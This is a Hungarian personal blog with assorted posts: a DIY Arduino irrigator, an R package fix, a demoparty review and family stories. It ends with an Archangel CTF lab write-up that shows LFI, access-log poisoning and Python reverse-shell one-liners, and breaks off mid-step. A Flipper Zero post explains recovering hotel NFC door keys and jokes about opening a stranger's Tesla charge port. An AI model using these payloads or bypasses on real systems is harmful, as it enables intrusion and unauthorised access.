A Férfi nem esik kétségbe, mert vannak más Szerszámok is. Szerszámok, amik apáról fiúra szállnak és átlengi őket az ősök szelleme. Szerszámok, melyek újak és csillogók, tettre készek. De nem számít, mert a csavart egyikkel sem lehet kicsavarni. Hiába ígérték reklámok, hogy "Ezzel a 189 részes csavarhúzó készlettel mindent meg tud oldani". Igaz a 189 részből 89 valami apró bizbasz, ami soha nem volt jó semmire. Mert valójában csak 100 részes szerszámkészletek léteznek, csupán a bizbaszok számát emelik, hogy a vásárlók ingerküszöbét át tudják törni.

Ezt most már a Férfi is tudja, aki épp a soha nem használt 399 részes csavarhúzó készletét bontja ki, de nem talál benne egyetlen olyan elemet sem, amit ne talált volna meg a korábbi csomagokban. És most már a dobozt sem tudja visszacsukni, mert olyan passzentosan vannak benne a bizbaszok, hogy a 10^49-es lehetséges bizbasz kombinációból csak egy esetén lehet lecsukni a tetőt. Az ipari csomagoló robotokon kívül pedig senki sem ismeri azt a kombinációt.

A hosszabbító továbbra is egyben van. A csavar, mint valami gúnyos mosoly mered a férfira, a lakás pedig tele szerszámokkal, amiket nem tud elpakolni. A Harmónia repedezik, a frusztráltság nő, amíg haza nem ér az Asszony.

- Mi ez a kupleráj? - kérdezi.

- Szerelek - mondja a férfi, bár a kijelentésnek ellent mond, hogy semmi nincs szétszerelve, és egyetlen szerszám sincs használva.

- Meddig szerelsz? - ez egy kódolt üzenet. A férfi villámgyorsan dekódolja: Öt perced van, hogy rendet rakj, vagy kiváglak a vackaiddal együtt.

A férfi és a szerszám egysége megbomlik. Elbuknak a hosszabbítóval szembe. A Káosz győz.

Szólj hozzá!

Címkék: irodalom

Ezen még dolgozni kell

2024.09.13. 17:18 Travis.CG

Azt hihetnénk, hogy a ChatGPT, Google Translate korában már nagy fordítási hibákat nem vétenek a csaló email-ekben, de ez nem így van. Vagy csak lusták, mint a föld, nem tudom. Eheti spamünkben Nyugat Afrikából próbálnak információt kiszedni belőlem. A legjobb mondatokat összegyűjtöttem:

"Ezúton szeretnénk tájékoztatni Önt egy nagyon fontos információról, amely az isten szerelmére nagy segítséget jelent majd.."

Az isten szerelmére, tanuljátok meg a fordítóprogramok használatát.

"Ebben a sorozatban eddig háromszázhat (306) csalót tartóztattak le, a mellszobor még mindig folyamatban van."

Elég lenne lefényképezni őket, a mellszobor tényleg túlzás. Vagy ők nemzeti hősök? Esetleg Jabba tesz rendet Nyugat Afrikában, és úgy bánik el a csalókkal, mint Han Solovanl?

Azért 306 mellszobor elég tekintélyes helyet foglal el. Bejárni sem kis teljesítmény.

"Biztos lehet benne, hogy ez nem átverés vagy trükk, és soha nem lesz az, amit gondol."

Ez speciel igaz. Már többször elgondoltam, hogy majd jó nap lesz, azután valami rácáfolt. Soha nincs az, amit gondolok.

Szólj hozzá!

Címkék: biztonság

Automata öntöző

2024.09.08. 12:48 Travis.CG

A nyári melegre való tekintettel elhatároztam, hogy készítek egy öntöző rendszert, ami akkor is vízzel látja el a növényeket, ha nincs otthon senki. Elkezdtem tervezgetni, mire is lenne szükség. A vezérlést egy Arduino fogja ellátni. Szükség lesz egy valós idejű órára is, mert a dokumentációkat böngészve azt találtam, hogy az Arduino saját időzítője nem lesz megfelelő, ha például egy hétre akarom magára hagyni a rendszert. Szerencsére volt itthon egy DS3231. Ez egy kis gombelem segítségével akkor is "emlékszik" az időre, ha az Arduino nincs áram alatt.

Először egy törött buborékfújó pumpáját akartam felhasználni. Szerencsére a gyerekek dögivel termelik a használhatatlan játékokat, úgyhogy villanymotorból, fogaskerékből el voltam látva. Az elsődleges tesztek szerint viszont a buborékfújó nem pumpál elég vizet, csak valami apró permetet, ami játékra megfelelő, de növények öntözésére nem.

Házilag nem tudok készíteni szivattyút, ezért kénytelen voltam beruházni kettő akvárium levegőztetőre. Eleinte csak egyet akartam venni, de később mégis kettőt szereztem be. Ezek voltak a projekt legköltségesebb részei.

Viszont a levegőztetők 220V-al mennek, az Arduino pedig csak 5V-al. Szükségessé vált egy relé is. A kacatok között találtam egy relé modult, de az két áramkört is képes volt vezérelni. Kicsit pazarlásnak éreztem, hogy egy pumpa kedvéért két relét építsek be, de mikor a feleségem azt mondta, hogy vannak növények, amelyek kevés vizet igényelnek, és olyanok is, amiknek sok víz kell, végül vettem még egy pumpát, és mind a kettő relét bekötöttem.

Ekkor viszont az áramellátás okozott némi gondot. Az oké, hogy a két pumpát rákötöm a hálózatra, de hogyan kap az Arduino áramot? Nem akartam, hogy elem is legyen. Azt szerettem volna, ha csak egy villásdugót bedugok, és az egész rendszer menjen. Fel kellett áldoznom egy telefontöltőt.

tap1.jpg

Először egy prototípust építettem, hogy lássam, hogyan fognak kapcsolódni a részegységek.

proto1.jpg

Különböző teszteket futtattam. Szerencsére a relé modulnak van egy kis LED-je, nem kellett váltóáramot is használnom a próbák során. Először csak egy olyan programot írtam, ami bekapcsolás után két percet vár, majd a szivattyút működteti két percig, és kikapcsol. Még a tervezési fázisban voltak olyan vad ötleteim, hogy egy LCD kijelzőt és gombokat is rakok az öntözőre, hogy ott lehessen mindent beállítani, de rájöttem, hogy a projektet nagyon elbonyolítja, én meg nem állok azon a szinten, hogy megvalósítsam. Ezért úgy gondoltam, az Arduino USB csatlakozóját szabadon hagyom, és mindig az adott feladatnak megfelelően fogom felprogramozni.

Mikor ezzel megvoltam, jöhetett a megvalósítás. A víztartály egy régi festékes doboz volt. Ebbe ment a két pumpa. A doboz oldalát kifúrtam és kivezettem a pumpák csöveit rajta. A vezérlést a doboz tetején akartam elhelyezni. A vizes közeg miatt azt egy édességes dobozba tettem, aminek külön zárható volt a fedele. Annak idején mentettem pár távtartót régi alaplapokról. Ezek most jól jöttek az egyes modulok rögzítéséhez.

tartaly.jpg

A kábelek elhelyezésén is sokat gondolkodtam. A hálózati áramot három részre kellett elosztani. Kellett a telefon töltőnek, és a két relének. Az 5V-ot is három részre kellett osztani. Kellett az Arduinonak, a valós idejű órának és a relének is.

Végül a telefontöltő lett a 220V elosztója, az 5V meg egy csomóba lett forrasztva. Minden kapott alibi érintésvédelmet ragasztópisztolyból. A korábbi projektekből okulva most ügyeltem a vezetékek színére is.

vezerles.jpg

A telefontöltőnél először a nyákra forrasztottam az 5V-os végeket, a fenti kép a végleges, működő verzió. A ragasztópisztolyt igen sűrűn használtam, még a tömlők vízszigetelését is azzal oldottam meg.

Elérkezett a csapatpróbák ideje. Kicsit távolabb mentem az öntözőtől, és úgy adtam rá az áramot. Szerencsére nem szikrázott és nem csapta le a biztosítékot. Cserébe nem is működött. Még az Arduino sem világított. Valahol nem ment az áram.

Végül sikerült kimérnem, hogy a telefontöltő nem 5V-t, hanem csak 1V-t ad le. Nem értettem miért nem megy. Az USB négy ponton volt a nyákra forrasztva, de ha onnan vezettem el az áramot, nem adták le a megfelelő feszültséget. Végül a vezetékeket az USB belsejébe forrasztottam, és utána már működött.

Legalábbis üresen. Amint vizet töltöttem a tartályba, kiderült, hogy a tömítések eresztenek. Ráadásul két perc alatt annyi vizet pumpál ki, hogy egy fazekat is megtöltene. Hirtelen nem tudtam, hogy a vezetéket húzzam ki, vagy a vízzel kezdjek valamit, ami a növény tálcájából jött ki. De nem csaptam agyon magam árammal és a lakást sem úsztattam el.

teszt.jpg

Közben az is kideült, hogy a programban is volt egy bug. Rosszul hasonlítottam össze az időintervalumokat, ezért két perc után újra elindultak a pumpák és nyomatták a vizet. Elmondhatom, hogy a hibakeresés sokkal izgalmasabb, ha a programunk eredménye nem csak a képernyőn látszik.

A szigetelés javítása több napot vett igénybe, mert bekentem szilikon pasztával, hagytam megszáradni (1 nap), teszteltem. Mikor folyt, ki kellett szárítani, és kezdődött minden elölről. Végül elkészült. Ekkor szembesültem egy tervezési hibával. A csöveket túl alacsonyan vezettem ki. Ha teletöltöm a tartályt, akkor közlekedőedényként kezd el viselkedni, és a csövön kérés nélkül is kifolyik a víz. Ez a teszteknél nem jött elő, mert akkor csak kevés vizet öntöttem bele. Telepítésnél tehát figyelni kell, hogy a növények magasabban legyenek, mint az öntöző.

vegleges.jpg

Szólj hozzá!

Címkék: barkácsolás

Random nyári történések

2024.08.31. 17:47 Travis.CG

A mai nyár legfontosabb tanúsága, hogy kamikaze-csúszdán mindig zárt lábakkal kell lecsúszni!

Ha már a csúszdáknál tartunk: Dekoratív, fiatal hölgy az úszómester, ő indítja a vendégeket a csúszdán. Vagány csávó, zéró IQ próbál ismerkedni:

- Hello, mond meg a neved!

A hölgy rá sem néz.

- Szerelmes vagyok beléd, mondd má' meg a neved!

- Nem mondom. Inkább csússzál.

- De mondd meg a neved!

Persze nem tudta meg.

Másik vicces sztori: Ingyen wifit vadásztam laptoppal egy művelődési ház mellett, de nem láttam a hálózatot, pedig mellettem egy nő egész konferenciabeszélgetést folytatott a segítségével. Végül kiokkumláltam, hogy bizonyára a laptop nem látja az 5GHz-es sávot. Ezért a telefonnal kapcsolódtam rá, majd USB-n megosztottam a számítógéppel. Arra jött egy ember, kérdezte, működik-e az ingyen wifi.

- Igen, de csak 5GHz-en - válaszoltam, de az ember csak megrázta a fejét.

- Annyi nekem nem elég - azzal tovább állt.

Szólj hozzá!

Címkék: életmód

Elavult R csomag javítás

2024.08.28. 10:32 Travis.CG

Az egyik kihívás a munkám során, hogy megtaláljuk az egyensúlyt a "nem piszkáljuk, mert működik" és a "kijött az update, felrakni!" között.

Az R-t például nem frissítjük minden hónapban, mert akkor minden felhasználó, minden csomagját frissíteni kellene (mert ugye minden felhasználó más csomagokat használ), és akkor soha nem dolgoznánk, csak frissítgetnénk. Ezért a szerveren egy 4.0.2-es R van, 3.12-es Bioconductorral.

Az egész szépen elzötyögött, egészen addig, míg a PureCN nevű csomagot nem telepítették a felhasználók. A PureCN ugyanis a biomaRt-ot is használja, ami viszont még abban az időben él, amikor még volt uswest tükör az EnsEMBL weboldalából.

Csakhogy nincs uswest, tehát nem megy a biomaRt, és ezért a PureCN is csak zagyvaságot ad vissza. Először megpróbáltuk fixálni R-ből a helyzetet, hogy ne használja az elvault tükör szervert, de persze nem működött. Egy uswest hívás már a könyvtár betöltésénél megtörténik.

A csomagból van frissítés, de akkor frissíteni kell a Bioconductor-t, de ahhoz meg az R-t is frissíteni kell. Ez sem járható út. Marad a programozás.

Leszedtem a GitHub-ról a biomaRt-ot:

git clone https://github.com/grimbough/biomaRt

Átváltottam az ősi branch-re, ami még kompatibilis a rendszerrel.

git checkout RELEASE_3_12

Kézzel kiszedtem az összes uswest hivatkozást a forrásból. Ahol fixen szerepelt, ott átírtam www-re. Most már csak meg kell etetni az R-el. Elindítottam az R-t. A módosított forrás a home könyvtáramban volt.

devtools::install("~/biomaRt")

Megkérdezte, frissítse-e a többi csomagot. Szépen megkértem, hogy eszébe se jusson. Fordított, teszteket futtatott. BUMM! Minden működött.

Szólj hozzá!

Címkék: programozás rendszergazda

Cseppet sem objektíven: Assembly 2024

2024.08.25. 15:44 Travis.CG

Sajnos a videó nem készült el, de QBParty-ra el fog. Az idei Assembly gyengébb volt a korábbi évekhez képest.

Fotó

Ennyi rossz képet még nem láttam demoparty-n.

Fast graphics

Ezek tényleg gyorsak voltak, de nem a szó jó értelmében.

Fast music

Finn dalszövege volt az összesnek. Biztos viccesek voltak. Bár elgondolkodtam rajta, hogy hol vehették fel a dalszövegeket, ha a party-n kellett összerakni a release-eket? (Egy-két esetben segített az AI, de az összes esetben nem.)

Wild

Igazán kreatív demók nem voltak, csak a platformok képességeinek a felszínét kapargatták a releasek. Úgy érzem, többet is kihozhattak volna mindegyik alkotásból.

Rövidfilmek

Ez már egy olyan kategória volt, ahol voltak release-ek is. A Triangle Realms csillapította fraktál éhségemet, az Unhelpful Blender Tutorial második része pedig vicces koncepció volt. A többi nem tetszett.

Tracked music

A party legnépesebb kategóriája volt, még az AI generált cuccokat is lehagyta. Aikapallo nyerte, amit meg is tudok érteni, mert remekül kihasználta a sávokat. A legtöbb trackelt zenén azért lehet hallani a formátumból eredő korlátokat, de itt nem tűntek fel a tipikus jegyek. Élvezeti szempontból nekem mégis a legjobban a Nyarlatho-Teppo's Dorsal Sauna tetszett. Nagyon sajnáltam, hogy a Time is against us hangszerelése túl egyszerű volt, mert stílusában az is bejött. Főleg azért, mert a címe nem csak egy utólag odabiggyesztett cimke, hanem hallatszott, hogy tudatosan komponálták.

1k intro

Mit tegyünk, ha 256b intrókat akarunk készíteni, de nincs kedvünk DOS-ozni? Hát persze, írjunk 1k intrót! Legalábbis ilyen érzésem volt, ahogy a produkciókat néztem. Gyakorlatilag ez egy olyan kategória, ahol meg kell küzdeni a méret limitációval, de közben nem kell vesződni a VGA palettával, és még JavaScriptben is programozhatunk. Az ügyesebbek még zenét is tudnak, ráadásul a Windows-ból klikkre megy. Látványra a CubeSink tetszett a legjobban, még akkor is, ha nem volt benne zene.

Freestyle grafika

Darkii és az ipari/militarista koncepciója 3D Studioval megvalósítva most is nagyot ütött.

A stílusa mindig lenyűgöz. A többi kép minősége már azért megütött egy szintet, ezért nem volt fájdalmas nézni őket.

Listening music

Korábban hallottam olyan kritikákat, hogy a demoscene zenék stílusa egy irányba konvergál. Ez annak idején a dubstep betörésénél még jogos is volt. Ebben az időszakban nem számított zenésznek az, aki nem rakja bele a wubwubwub-ot. Ebben a kategóriában nagyon válozatos stílusokat lehetett hallani, még egy Rammstein másolat is volt. Határozottan pozitív volt ez a sokszínűség.

Dance music

Ha nem is hallottam lélegzetelállíto zenéket, azért egy kellemesen átlagos compó volt. De egynél többször nem fogom meghallgatni őket.

AI wild

Ez egy új kategória, aminek szerintem az a lényege, hogy "ha már generálni akartok, inkább ide adjátok be, mint más kompóba". Viszont itt nem lehetett emberi erővel javítani az eredményen, ami szerintem egy jó megközelítés. Érdekes, hogy a generált grafikák jobban tetszettek a közönségnek, mint a zenék. Ennek ellenére a Paranoid Csirke nálam mindent vitt, mint agresszív grunge rock.

Fantázia konzolok

Az ember azt gondolná, hogy a fantázia konzolokkal odateszik magukat a pixel művészek, de nem. Ebben a kompóban a legtöbben ugyan úgy megragadtak a szinuszos scrollokban, mint a retro hardveresek. Ketten mertek csak továbblépni. A Bird Storm és a Mer Ork volt az egyetlen, ahol képesek voltak egy irányvonalat követni és kilépni a retro hardverek örökségéből. A Bird Storm-nak ráadásul a zenéje is jó volt, nem csak csipogásnak hallatszott. (Bár egy madárnál ez sem lenne meglepő.)

Oldskool demók

Ez volt az első kompó, ahol végre azt éreztem, hogy érdemes volt megnézni. Még a Zoo invit is jól indult, és nem csak egy scroller volt (bár a scroll tette ki a demó 80%-t). Igaz, a legtöbb depressziós alkotás volt. A nyertes demó, a Transcend the Game volt, nem véletlenül: Társadalomkritika, és jó zene együttese. A grafika nem eget rengető, de jól illik a demó koncepciójához. A videót nem lehet belinkelni, itt tudja mindenki megnézni.

Demó

Végezetül lássuk a demókat. Habár a többi kategóriában nagy pangás volt, a demók tekintetében azért kitettek magukért a csapatok. Ezt onnan lehet legjobban látni, hogy nem csak egy demó hozzászólásainál alakult ki nagy veszekedés, hanem kettőnél is. Talán nem ez a legjobb mérőszám, de arra mindenképp alkalmas, hogy megmutassa, mennyi embert mozgatott meg az adott produkció.

A másik érdekesség, hogy több demó próbált meg egyfajta üzenetet továbbítani, nem csak effektet villantani. Már utaltam erre az egyik C64 demó kapcsán is, de itt is előjött.

Ott van példának okáért a nyertes demó, ami az elég explicit címmel rendelkezik: The Message. Nem nehéz megérteni, mi ez az üzenet, amikor olyan képeket látunk, hogy viharos tengeren Demoscene feliratú mentőövek úsznak. A JavaScript engine szép modelleket, gyönyörű effekteket mutatott, miközben dübörgött egy korai demókra hajazó zene. Teljesen megérdemelten nyert.

Nekem viszont a story demók sokkal jobban bejönnek, még akkor is, ha hibák vannak benne. A Superselection pedig pont ilyen. Nagyon erős mozi-szerű hatásokra épít, de mivel ezeket roppant nehéz demókban visszaadni, sokszor beletörik a készítők bicskája. A kritikusok pont ezekre a hibákra mutatnak rá. Például arra, mikor egy női karakter gyakorlatilag mozdulatlanul áll, miközben a narrátor pánikol. De ez nem baj. A baj a túlzott elvárásokkal van. Sokan még a Notch miatt fanyalogtak, de saját motorral valószínűleg még kevésbé érték volna el a céljaikat a készítők.

A világ problémáira megoldást kereső demó a bugfix, a filozófikus irányvonalat képviseli. A melankólia csak a nyolcadik helyre volt elég. A zene, grafika, kód egy ember, Imerso munkája.

A HBC legfrissebb demóján meglepődtem. Maxon nem csak 3D grafikát, hanem zenét és kódot is készített, igaz ez utóbbit csak a Godot motor szkripteléséhez, de dícséretes a hozzáállás.

Végszó

Ez volt az idei Assembly. A demókat érdemes megnézni, de a többi kategória nagyon gyatra volt. Én nem is emlékszem, hogy Assembly zenei kompót nem szívesen hallgattam volna. Remélem ez nem annak a jele, hogy a mentőöv már kevés a demoscenének.

Szólj hozzá!

Címkék: demoscene

Flipper nyaral

2024.08.22. 11:36 Travis.CG

A nyaralás során a Flipper tulajdonságai remekül kiaknázhatóak. A szálláshelyen a TV-t, légkondit lehet vele vezérelni az infravörös irányítón keresztül.

Sikerült a hotelszoba ajtaját is kinyitni. A hotelek NFC-t használnak, de abból rengeteg protokol van. Most szerencsém volt, mert ahol megszálltunk MIFARE Ultralight-ot használtak. Ez is titkosított, de a kis készülék által kezelhető.

Ha csak beolvassuk a kártya adatait és visszajátszuk a zárnak, az nem működik, pont a titkosítás miatt.

Először a kártyát kell beolvasni és elmenteni. Utána a Detect Reader funkcióval beolvasni az érzékelőt. Ez viszonylag sokáig eltarthat. Utána a telefonos applikációval a Tools menüből futtatni kell az Mfkey32 funkciót. Ez is elcsámcsog az adatokon egy ideig és megpróbálja a kulcsokat visszafejteni. Ha megvan, akkor a Flipperen a kártya adatait kiválasztva lesz egy Unlock menüpont, több almenüvel. Én az Unlock by Reader-t használtam. Még egyszer a detektorhoz tartjuk a Flippert, és kész is. Innentől nyithatjuk a hotel ajtaját. Természetesen csak a sajátunkat.

Volt is kisebb bonyodalom, mert én épp a Flipperrel bíbelődtem a hotel folyosóján, amikor megjelent egy csomó vendég mögöttem csomagokkal, és kérdezték, mit csinálok az ő szobájukkal. Mondtam, hogy ez az én szobám. Ők állították, hogy az övék. Végül kiderült, hogy a recepción mindkettőnknek ugyan azt a szobát adták.

Az uszodai öltözőket viszont sehogy sem tudtam kezelni, pedig ezek egyszerűbb protokolra épülnek. Az egyik egy MIFARE Plus X-t használt, egy másik helyen pedig MIFARE Classic 1K-t, legalábbis a szerkezet szerint. Bár a kártyát mindkét típusnál tudtam menteni, a szekrényeket egyik sem nyitotta. Ez nem is baj, mert nem akartam, hogy vizes legyen a Flipper. (Még akkor sem, ha a delfinek tudnak úszni.)

Sok étkezőnél a rendelés elkészültét egy kis korong jelzi. Ezek elméletileg 433MHz-en kapják a jelet, tehát bőven a Flipper konfortzónájában. Nekem viszont a Frequency Analyzer nem jelezte az étel elkészültét. Venni biztosan tudja a frekvenciát, mert a BSides-on az egyik ember mutatta nekem, hogy a saját készülékével a Read funkcióval rögzítette a jelet, mikor elkészült a hamburgere.

Kicsit csalódott voltam, ezért a parkolóban vígasztalásul kinyitottam egy Tesla töltőfedelét.

Szólj hozzá!

Címkék: flipperzero

Balatonnál sej-haj

2024.08.13. 09:55 Travis.CG

Tóbiás nem gondolta, hogy egy bármi probléma lehet. Nyilván egy nyaralás kezdete stresszforrás. Az indulás soha nem úgy alakul, ahogy az ember eltervezte, de aztán eljön a váltás, amikor már nem aggódunk az otthonhagyott papucs miatt, amikor leszállunk az izzadságszagú vonatról, és megkezdődik a nyaralás. Innentől nem szokott gond lenni. Legalábbis semmi olyan gond, amivel tavaly ne találkozott volna az ember, példának okáért a "sokkal drágább fagyi"-tól a szúnyogcsípésig. Amíg csak ezekkel kell foglalkozni, az beleillik a megszokott ritmusba.

Minden ettől való eltérés a probléma kategóriába tartozik. A probléma pedig a bepakolással kezdődött. Tóbiás gyerekkorába a vonathoz kellett igazodni, ezért az indulás idejét nem lehetett módosítani. Most, hogy anyósával és apósával, feleségével, gyerekével, kereszfiával, keresztlányával megy, akik autóval akarnak leutazni, az indulás időpontja megjósolhatatlan. Senki nem tudja, mikor fognak elindulni, mert még az indulás napján is pakolnak.

Tóbiás erősen próbált visszaemlékezni, mennyi csomagja volt annak idején a négy tagú családnak, de csak egy sporttáskára emlékezett. Talán mintha lett volna egy szatyor, ha a sporttáska kicsinek bizonyul. Most hitetlenkedve állt a tömött Mercedes kombi mögött, miközben apósa, Géza próbálja megszervezni, hogy mi kerüljön a második autóba.

- A gyerekülés alá elférnek a sörök - kezdi Péter, Tóbiás sógora. - Úgysem ér le a lábuk.

- Jó, de Tóbiásék táskája is nálatok lesz, mert az ágynemű a fél csomagtartót elfoglalja.

Péter, akár csak egy töprengő mérnök, a járművek csomagtartóját nézegeti.

- Az még talán elfér.

Délután kettőre végeztek a csomagolással. Az ebédmaradék is dobozokba került, sőt Péterék a tegnapi kerti partijukról maradt grillhúsokat is áthozták.

- Mindig idehozzák ezeket a nagy dobozokat, hogy én mosogassam el őket. Mindegyik dobozban van két hús! Miért nem lehetett ezt egy dobozba rakni? - mérgelődik Mari, Géza felesége, de csak ha Péter nincs a közelben.

Mikor a hűtőtáskák is megteltek az ételekkel, azok is a csomagtartóba kerültek. Tóbiás nem értette, mi szükség van erre. Mintha nem is nyaralni mennének, hanem az országot kellene elhagyni meghatározhatatlan időre. Mellette Géza sztorizni kezdett.

- Soha nem felejtem el, mikor Laciék Horváthországba mentek - Tóbiás nem tudta kik lehetnek Laciék, de úgy gondolta, ez jelenleg nem is fontos. -  Egy 12 literes fazék is volt náluk, tele töltött káposztával. Annyi kaját vittek, hogy a kocsi hátsó ülésére sem lehetett beülni. Komolyan nem értem az ilyen embereket.

Géza hangosan hahotázott. Tóbiás megértette, hogy az emberek nem látják saját gyarlóságaikat, amíg van náluk is szánalmasabb. Közben a pakolás is véget ért. Nem azért, mert megvolt minden, amit vinni akartak, hanem mert a kocsik megteltek.

Elindul a konvoly. Géza, Mari és Tóbiás családja az első kocsiban utazott. Olga, Tóbiás és a kis Heni hátul ültek. Tóbiás ölében makarónis tál, mert a keresztfia csak azt eszik ebédre. A másik autóban Péter és két gyereke ült. Péter nem marad a Balatonon, mert sürgős üzleti tárgyalásra kell mennie, tehát a kocsi kipakolása után már jön is el.

Talán két percet utazhattak, amikor Géza a homlokára csap!

- A WC papír!

- Jajj, a WC papír - kontrázott Mari is, mintha neki jutott volna eszébe. Mindenki visszafordul, mert nyaraláskor valami ismerősnek kell, hogy simogasson, ha jön a szükség. Géza berakja a 12-es Covid túlélő készletet és másodszor is elindul a kis csapat. Most egy kicsit messzebb jutottak, de a város határát még nem érték el.

- A pénz! - kiált fel Géza.

- Jajj, nem raktál el pénzt? - sipítozik Mari.

Géza nem hisz a bankkártyában, mobiltelefonos fizetésben és egyéb hókusz-pókuszban. Géza csakis a készpénzben hisz. A teljes nyaralás tervezett kiadása gurtnikban van, akár csak a régi vágású gengsztereknél. Újabb forduló következett vissza a házhoz.

- Bármit felejtünk itt, már nem jövünk vissza - jelenti ki Géza határozottan. Ezt tartja is, hiába jut eszébe Marinak az ásványvíz, vagy a kakaópor az unokáknak.

Miután megérkeznek, megkezdődik a kipakolás. Péter a leggyorsabb, mert még fel szeretne készülni a holnapi tárgyalásra, de Tóbiás úgy érzi, a gyerekeitől is szabadulna akar. Péter még szinte el sem hagyta a nyaralót, amikor Mari már telefonált neki, hogy holnap a tárgyalás után ne felejtsen hozni tejet, a gyerekek biciklijét, és még öt tételt, ami nélkül csak egy napot lehet kibírni.

A gyerekek meglátják a medencét.

- Mama, mama, belemehetünk?

- Várjatok még! - kiált Mari kezében a telefonnal, de a legkisebb nem vár. A fűre dobja az összes ruháját és pucéran a vízbe veti magát. A többiek ezen felbátorodnak, és követik a példáját.

- Nem ilyen medencétek van nektek is? - kérdezi Tóbiás Gézát, miközben pakolják a holmikat a házba.

- De, ugyan az az összeszerelhető modell, csak ez kicsit kisebb.

Késő délután az egész család lement a Balatonhoz. Tóbiás még emlékezett rá, milyen volt gyerekként egész nap a tóban lubickolni, miközben édesanyja a partról kiabált, hogy jöjjön már ki, mert kékül a szája. Valahogy a kékülő száj és a Balaton örökre összefonódott Tóbiás emlékezetében.

Mari és Olga a parton maradtak, nem akartak bemenni a vízbe. Géza és Tóbiás kísérte a gyerekeket. A kicsik berongyoltak a tóban, de megálltak a térdig érő résznél. A lendületük látványosan megtört.

- Fúj, mi ez? - kérdezte az egyik gyerek undorodva, miközben valami zöld úszott felé.

- Hínár, ne félj tőle, nem bánt - bár Tóbiás eszébe rémlett, hogy annak idején ők sem szerették a hínárt. Azért dobálták egymás hajába.

- Ez hideg - jelentette ki egy másik lurkó. Tóbiás 27 fokra saccolta a hőmérsékletet.

- Ússzál, akkor nem fogsz fázni. Menjünk beljebb!

A déli part csak lassan mélyült. Még derékig sem ért a víz, amikor a legkisebb elkezdett nyafogni.

- Mennyünk ki!

A többiek is hamar csatlakoztak a legkisebbhez.

- De még nem is úsztunk, itt vagyunk a part közelében.

- Mennyünk ki! - panaszkodtak kórusban.

Tóbiás vágyakozva nézett a bólya irányába. Mennyit csimpaszkodtak bele! Aztán megfordult és kiment a gyerekekkel. A parton a száradással több időt töltöttek, mint a vízben.

- Nem akartok egy kis kukoricát? - kérdezte a gyerekeket Mari.

- Deee!

- Én inkább jégkását kérek - jegyezte meg halkan Heni.

- Én is, én is! - kontrázott rá a másik két gyerek.

A vége az lett, hogy kaptak mindkettőt. A kukoricából mindegyik evett két falatot, a jégkásából pedig ittak egy kortyot.

- Menjünk vissza medencézni! - jegyezte meg az egyik kölyök, mire a másik kettő azonnal átment papagáj üzemmódba.

Még szerencse, hogy négy felnőtt kísért három gyereket, mindenkinek a kezébe jutott vagy egy megcsócsált kukorica, vagy egy cukros löttyé olvadó jégkása. A csomagok alapfelszerelésnek számítottak, az nem számított.

A medencében végül elvolt a három gyerek. Este nyolcig ki sem jöttek. A vízben nem volt hínár, a keringtető rendszer kellemes melegen tartotta a hőmérsékletet. Tóbiás azon gondolkodott, ha ezek a gyerekek felnőnek, ők mit fognak gondolni a saját gyerekeik nyaralásáról?

Szólj hozzá!

Címkék: irodalom

Archangel CTF

2024.08.04. 18:07 Travis.CG

Ez egy nem semmi CTF volt. Először szokás szerint végigscanneltem a portokat:

nmap -sS -Pn --top-ports 100 -sV $IP

Csak a 22-es és a 80-as volt nyitva. A weboldal semmi különöset nem tartalmaz. Az első kérdés, hogy van-e alternatív hostname. Ezt viszonylag könnyen megtaláljuk az oldal tetején egy e-mail címben. Amint ez megvan, az ember elgondolkodik, hogy nem lesz-e más az oldal kinézete, ha bejegyezzük gépünkben ezt a host-ot? Írjuk be a nevet az /etc/hosts-ba, és frissítsük a böngészőt.

A weboldal megváltozik. Mindjárt meg is van a második flag. Érdemes kicsit jobban megnézni az oldalt.

gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k -x txt,html,php -u http://mafialive.thm/

Már az elején találunk egy php oldalt, ami egyben az egyik kérdésre a válasz, még a lista egy százalékát sem kell elérni, nyugodtan leállíthatjuk a keresést.

Na, a következő lépésnél elidőztem egy darabig. Abban biztos voltam, hogy a php oldalt kell rávenni valahogy, hogy elolvasson bizonyos fájlokat, de minden próbálkozásom esetén makacskodott a szkript. A hint szerint LFI-t kell használni, amiről életemben nem hallottam, úgyhogy kerestem egy LFI-s oktató anyagot a TryHackMe oldalán, és végigcsináltam. Utána már jobban értettem, hogyan kellene megoldani a feladatot.

A kérdéses php oldal forrását továbbra sem tudtam megnézni. Azt valahogy nem akarta betölteni. Végül base64-el kódoltam.

http://*HOST*/*PHP*.php?view=php://filter/convert.base64-encode/resource=/var/www/html/development_testing/*PHP*.php

Ahol a *HOST* és a *PHP* a két behelyettesítendő találat az előző kérdésekből. Ha visszafejtjük a kódolt adatot, megvan a forrás. Ebből látható, hogy nem használhatjuk a "../.." sztringet, és mindenképp kell a /var/www/html az elején. Hah, ezt könnyű kikerülni, csak ".././.."-vel lépkedek vissza a gyökérig, és kész.

Most már elég sor fájlt meg tudunk nézni, még az első user flag-et is. De kell egy shell, mert anélkül nem ér semmit az élet.

A Burp Suit-al írjuk át az egyik kérés User-Agent-jét:

User-Agent: <?php system($_GET['cmd']); ?>

Ezzel az access.log fájlt átalakíthatjuk php szkriptté! Próbáljuk csak ki a következő URL-t!

*HOST*/*PHP*.php?view=/var/www/html/development_testing/.././.././.././../var/log/apache2/access.log&cmd=python3%20-c%20%27import%20os,pty,socket;s=socket.socket();s.connect((%2210.8.44.122%22,4444));[os.dup2(s.fileno(),f)for%20f%20in(0,1,2)];pty.spawn(%22bash%22)%27

A piros résszel kiemelt a reverz shell, ami a 10.8.44.122 felé nyit a 4444-es porton. Előtte persze el kell indítani egy nc-t a gépünk termináljában.

nc -lvnp 4444

Hurrá, hozzáférünk a fájlrendszerhez! Ajjaj, csak www-data felhasználóval. Jó lenne, ha kapásból root felhasználók lehetnénk, de ekkora szerencsénk nincs. Először az archangel felhasználó bőrébe kell bújnunk. Ha átnézzük a gépet, akkor az /etc/crontab fájlban találunk egy érdekes bejegyzést. Az /opt/helloworld.sh fájlt archangel felhasználó jogaival fut. Én nem szoktam vacakolni shell stabilizálással, ezért szövegszerkesztőt sem tudok indítani. De kinek kell? Indítsunk a saját gépünkön egy másik terminálban egy újabb nc-t, ezúttal a 9001-es porton:

nc -lvnp 9001

Majd módosítsuk a hellowordl.sh-t echo-val:

echo "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.8.44.122\",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"bash\")'" >>helloworld.sh

